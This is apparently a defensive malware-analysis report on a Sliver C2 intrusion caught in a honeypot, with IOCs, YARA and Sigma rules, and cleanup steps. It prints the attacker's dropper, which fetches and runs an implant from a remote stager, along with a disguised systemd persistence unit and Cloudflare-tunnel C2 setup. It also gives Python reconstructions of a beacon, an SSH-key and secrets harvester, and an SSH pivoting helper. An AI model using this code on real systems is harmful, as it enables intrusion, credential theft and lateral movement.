In August 2026, our honeypot infrastructure captured an intrusion deploying Sliver C2 malware. The attack used a French-named loader staged from bulletproof VPS infrastructure in Australia - whether this indicates a French-speaking operator or is misdirection is unclear. Key observations:
| Phase | Date | Activity | MITRE ATT&CK |
|---|---|---|---|
| Reconnaissance | Aug 1 | Domain registration: safesunflower.fans | T1583.001 |
| Initial Access | Aug 3 | SSH credential compromise | T1078 T1021.004 |
| Execution | Aug 3 | Bash dropper fetches implant | T1059.004 |
| Persistence | Aug 3 | Systemd service installed | T1543.002 |
| Defense Evasion | Aug 3 | Garble obfuscation, hidden files | T1027 T1564 |
| C2 | Aug 3+ | HTTPS via Cloudflare tunnel | T1071.001 T1572 |
| Credential Access | Aug 3+ | SSH key enumeration | T1552.004 |
#!/bin/bash # ^^^ Shebang: tells Linux to execute with bash # Télécharger si pas là # ^^^ FRENCH: "Download if not there" - reveals attacker's language IMPLANT_URL="https://stager.safesunflower.fans/implant" # ^^^ Stager URL: where the full implant binary is hosted # Uses subdomain for flexibility (can change IP without changing implant) IMPLANT_PATH="/var/lib/nginx-logs/.worker" # ^^^ Hidden location: # /var/lib/nginx-logs/ - looks like legitimate nginx directory # .worker - dot prefix hides from `ls` (need `ls -a`) if [ ! -f "$IMPLANT_PATH" ]; then # ^^^ Only download if not already present # Prevents re-downloading on every service restart # Also reduces network noise curl -s --connect-timeout 15 -o "$IMPLANT_PATH" "$IMPLANT_URL" # ^^^ curl flags: # -s : silent (no progress bar) # --connect-timeout 15 : fail after 15s (don't hang forever) # -o PATH : output to file chmod +x "$IMPLANT_PATH" # ^^^ Make executable fi exec "$IMPLANT_PATH" # ^^^ exec REPLACES the current process with .worker # This means: # - The bash script's PID becomes .worker's PID # - systemd sees one consistent process # - Cleaner process tree
GOOS=linux GOARCH=amd64 go build| Property | Value | Significance |
|---|---|---|
| Size | 33,648,788 bytes | Typical for statically-linked Go |
| Type | ELF 64-bit LSB | Linux executable |
| Linking | Static | No external .so dependencies |
| Stripped | Yes | No debug symbols |
| Obfuscation | Garble | Function names mangled |
| Go Version | 1.21+ (estimated) | Based on runtime strings |
Garble is a Go build wrapper that:
main.handleShellCommand main.beaconLoop main.harvestCredentials github.com/BishopFox/sliver/...
z1kM9x.qR7nLp z1kM9x.vF3hYw z1kM9x.pK8mNr # Function names are unreadable # But protocol strings often remain (harder to obfuscate without breaking)
Despite obfuscation, we extracted these identifying strings:
BeaconID SessionID PivotHello PivotListener WGSocksStartReq WGTCPForwarders SSHCommandReq CredentialsInfo ExecuteAssembly
These match the Sliver C2 framework exactly, confirming identification.
Cloudflare Tunnel (formerly Argo Tunnel) allows you to expose a local service to the internet through Cloudflare's network without opening inbound ports.
# Install cloudflared wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 chmod +x cloudflared-linux-amd64 # Create tunnel (anonymous, no Cloudflare account needed) ./cloudflared-linux-amd64 tunnel --url http://localhost:8080 # Output: # Your quick tunnel: https://random-words-here.trycloudflare.com # ^^^ This is what goes in the implant # Or with custom domain (requires Cloudflare account): ./cloudflared tunnel create my-c2 ./cloudflared tunnel route dns my-c2 safesunflower.fans ./cloudflared tunnel run my-c2
Sliver uses Protocol Buffers (protobuf) for message serialization:
| Type | Name | Direction | Purpose |
|---|---|---|---|
| 1 | BEACON_REGISTER | Implant → C2 | Initial check-in with system info |
| 3 | POLL_INTERVAL_REQ | Implant → C2 | "Any commands for me?" |
| 10 | SHELL_REQ | C2 → Implant | Execute shell command |
| 11 | SHELL_RESP | Implant → C2 | Return command output |
| 30 | SSH_COMMAND_REQ | C2 → Implant | SSH to another host |
| 60 | SOCKS_START_REQ | C2 → Implant | Start SOCKS proxy |
| 90 | CREDS_REQ | C2 → Implant | Harvest credentials |
| 99 | TERMINATE | C2 → Implant | Kill implant |
[Unit] # Unit section: metadata and dependencies Description=Nginx Log Rotation Helper # ^^^ Innocent-sounding name # Admin sees this in `systemctl status` # Looks like part of nginx (it's not) After=network.target # ^^^ Wait for network before starting # Implant needs network to beacon [Service] # Service section: how to run Type=simple # ^^^ ExecStart process IS the service # (vs forking where parent exits) ExecStart=/var/lib/nginx-logs/.worker # ^^^ THE IMPLANT # Hidden path: /var/lib/nginx-logs/ # Hidden file: .worker (dot prefix) Restart=always # ^^^ If it crashes or is killed, restart it # Makes implant resilient RestartSec=30 # ^^^ Wait 30s before restart # Avoids restart loops if failing repeatedly [Install] # Install section: when to start WantedBy=multi-user.target # ^^^ Start in normal multi-user mode # = start on every boot
| Technique | Implementation | Effect |
|---|---|---|
| Hidden directory | /var/lib/nginx-logs/ | Looks like nginx, admins skip it |
| Hidden file | .worker | Dot prefix hides from ls |
| Mimicry | nginx-logrotate service name | Appears legitimate |
| No logs | Implant doesn't write local logs | No disk forensic trail |
| Technique | Implementation | Effect |
|---|---|---|
| CDN fronting | Cloudflare tunnel | Hides real C2 IP |
| Valid SSL | Cloudflare certificate | Passes SSL inspection |
| HTTPS only | No plain HTTP | Encrypted traffic |
| Jitter | 30s ± 20% beacon | Irregular timing |
| Blend in | Standard User-Agent | Looks like browser |
We've reconstructed the core implant logic in Python for educational purposes. Here's how each component works:
import time import random from urllib.request import Request, urlopen class Beacon: """ The heartbeat of the implant. Polls C2 for commands, executes them, returns results. """ def __init__(self, c2_url, interval=30, jitter=0.2): self.c2_url = c2_url # Where to phone home self.interval = interval # Base sleep time (seconds) self.jitter = jitter # Randomization factor (0.2 = ±20%) self.session_id = None # Assigned by C2 on registration def run(self): """Main loop - runs forever until terminated""" # Step 1: Register with C2 while not self.session_id: self.session_id = self.register() if not self.session_id: time.sleep(self.interval) # Retry on failure # Step 2: Poll loop while True: try: # Check for commands cmd = self.poll() # Execute if we got one if cmd: result = self.execute(cmd) self.send_result(result) # Sleep with jitter # jitter_amount = interval * jitter * random(-1 to 1) # So 30s ± 6s = 24-36 seconds jitter_amount = self.interval * self.jitter * (random.random() * 2 - 1) time.sleep(self.interval + jitter_amount) except Exception: # Silently fail and retry # Don't crash on network errors time.sleep(self.interval)
import os def harvest_credentials(): """ Scan the system for valuable credentials. This is what ran on our honeypot. """ creds = [] # === SSH KEYS === # The primary target for lateral movement ssh_dir = os.path.expanduser("~/.ssh") # /root/.ssh for root if os.path.exists(ssh_dir): for filename in os.listdir(ssh_dir): # Look for private keys (id_rsa, id_ed25519, etc) # NOT .pub files (those are public, useless for auth) if filename.startswith("id_") and not filename.endswith(".pub"): key_path = os.path.join(ssh_dir, filename) # Read the key content with open(key_path, 'r') as f: key_data = f.read() creds.append({ "type": "ssh_key", "path": key_path, "data": key_data # The actual private key! }) # === AUTHORIZED_KEYS === # Shows what OTHER systems trust this one auth_keys = os.path.expanduser("~/.ssh/authorized_keys") if os.path.exists(auth_keys): with open(auth_keys, 'r') as f: for line in f: if line.strip(): creds.append({ "type": "authorized_key", "key": line.strip() }) # === ENVIRONMENT VARIABLES === # Often contain API keys, tokens, passwords sensitive_patterns = ["KEY", "TOKEN", "SECRET", "PASSWORD", "AWS"] for key, value in os.environ.items(): if any(pattern in key.upper() for pattern in sensitive_patterns): creds.append({ "type": "env_var", "key": key, "value": value[:100] # Truncate long values }) return creds
import subprocess def ssh_execute(host, user, key_path, command): """ Execute a command on a remote host via SSH. Uses stolen keys from harvest_credentials(). This is how an attacker pivots: 1. Compromise VPS 2. Find SSH keys 3. Use those keys to reach internal servers """ ssh_command = [ "ssh", "-i", key_path, # Use this private key "-o", "StrictHostKeyChecking=no", # Don't ask about fingerprint "-o", "BatchMode=yes", # Non-interactive "-o", "ConnectTimeout=10", # Fail fast if can't connect f"{user}@{host}", # e.g., [email protected] command # What to run ] try: result = subprocess.run( ssh_command, capture_output=True, timeout=60 ) return { "success": result.returncode == 0, "stdout": result.stdout.decode(), "stderr": result.stderr.decode() } except subprocess.TimeoutExpired: return {"success": False, "error": "timeout"} except Exception as e: return {"success": False, "error": str(e)} # Example: Attacker uses stolen key to reach another server # ssh_execute("192.168.1.10", "admin", "/tmp/stolen_key", "cat /etc/shadow")
# Domains safesunflower.fans stager.safesunflower.fans # Known IPs (attacker infrastructure) 103.141.60.96 (HostRoyale Sydney - SSH origin) # Network behavior - HTTPS beacons every 24-36 seconds to Cloudflare-fronted domain - POST requests to /beacon endpoint - Content-Type: application/octet-stream
# File paths /var/lib/nginx-logs/.worker /var/lib/nginx-logs/nginx-rotate /etc/systemd/system/nginx-logrotate.service # File hashes SHA256: [Available to vetted researchers on request] # Systemd indicators Service name: nginx-logrotate ExecStart pointing to hidden file (.* prefix)
# Process behavior - Large (30MB+) process running from /var/lib/ - Process name doesn't match any installed package - Outbound HTTPS connections from server processes # File system - New files in /etc/systemd/system/ not from packages - Hidden files in /var/lib/ subdirectories - Modified ~/.ssh/authorized_keys
rule Sliver_Implant_Strings {
meta:
description = "Detects Sliver C2 implant based on protocol strings"
author = "22nd Survey Division"
date = "2026-08"
strings:
$s1 = "BeaconID" ascii
$s2 = "SessionID" ascii
$s3 = "PivotHello" ascii
$s4 = "WGSocksStartReq" ascii
$s5 = "SSHCommandReq" ascii
$s6 = "CredentialsInfo" ascii
$s7 = "ExecuteAssembly" ascii
condition:
uint32(0) == 0x464C457F // ELF magic
and filesize > 20MB
and 4 of ($s*)
}
title: Suspicious Systemd Service Creation
status: experimental
description: Detects creation of systemd services with hidden executables
logsource:
product: linux
service: syslog
detection:
selection:
- COMMAND|contains: 'systemctl enable'
- COMMAND|contains: 'systemctl daemon-reload'
filter:
USER: 'root'
condition: selection
# Also check service files
service_file_check:
- ExecStart|contains: '/.' # Hidden files
- ExecStart|contains: '/var/lib/' # Unusual location
- Description|contains|any:
- 'helper'
- 'rotate'
- 'cache'
/etc/systemd/system/# 1. Stop the implant systemctl stop nginx-logrotate systemctl disable nginx-logrotate # 2. Remove persistence rm /etc/systemd/system/nginx-logrotate.service systemctl daemon-reload # 3. Kill any running process pkill -9 -f ".worker" # 4. Remove implant files rm -rf /var/lib/nginx-logs/ # 5. Check and clean authorized_keys cat ~/.ssh/authorized_keys # Review each key # Remove any you don't recognize # 6. Rotate credentials # - Generate new SSH keys # - Rotate any API keys/tokens # - Change database passwords # 7. Check for lateral movement # - Review other systems these keys had access to # - Check those systems for similar indicators
This intrusion demonstrates the increasing sophistication of commodity C2 frameworks. The combination of Sliver's capabilities with Cloudflare tunnel infrastructure creates a formidable defensive challenge. Key takeaways:
© 2026 22nd Survey Division. Research conducted on infrastructure we own and operate. All analysis is for defensive purposes.